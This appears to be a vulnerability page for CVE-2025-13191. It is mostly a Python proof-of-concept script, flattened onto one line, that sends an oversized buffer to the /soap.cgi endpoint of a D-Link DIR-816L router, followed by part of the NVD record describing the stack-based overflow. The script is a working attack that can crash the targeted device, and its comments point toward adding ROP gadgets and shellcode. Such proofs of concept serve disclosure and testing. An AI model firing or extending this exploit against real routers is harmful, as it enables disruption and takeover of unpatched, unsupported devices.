CVE-2025-13191

#!/usr/bin/env python3 # CVE-2025-13191 PoC - D-Link DIR-816L soap.cgi Buffer Overflow # Target: D-Link DIR-816L 2_06_b09_beta # Vulnerability: Stack-based buffer overflow in soapcgi_main function import requests import sys def exploit_cve_2025_13191(target_ip, target_port=80): """ Exploit for CVE-2025-13191 This PoC demonstrates the buffer overflow vulnerability in /soap.cgi """ url = f"http://{target_ip}:{target_port}/soap.cgi" # Create malicious payload with oversized buffer # The exact offset and ROP chain may vary based on firmware version buffer_size = 1024 # Oversized buffer to trigger overflow # Malicious payload - causes stack overflow # In real exploitation, this would include ROP gadgets and shellcode payload = b"A" * buffer_size headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13191 PoC)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(payload)} bytes") # Send the malicious request response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_13191(target, port)

{"cve": {"id": "CVE-2025-13191", "sourceIdentifier": "[email protected]", "published": "2025-11-15T07:15:46.627", "lastModified": "2025-11-19T18:04:24.997", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in D-Link DIR-816L 2_06_b09_beta. This issue affects the function soapcgi_main of the file /soap.cgi. This manipulation causes stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. 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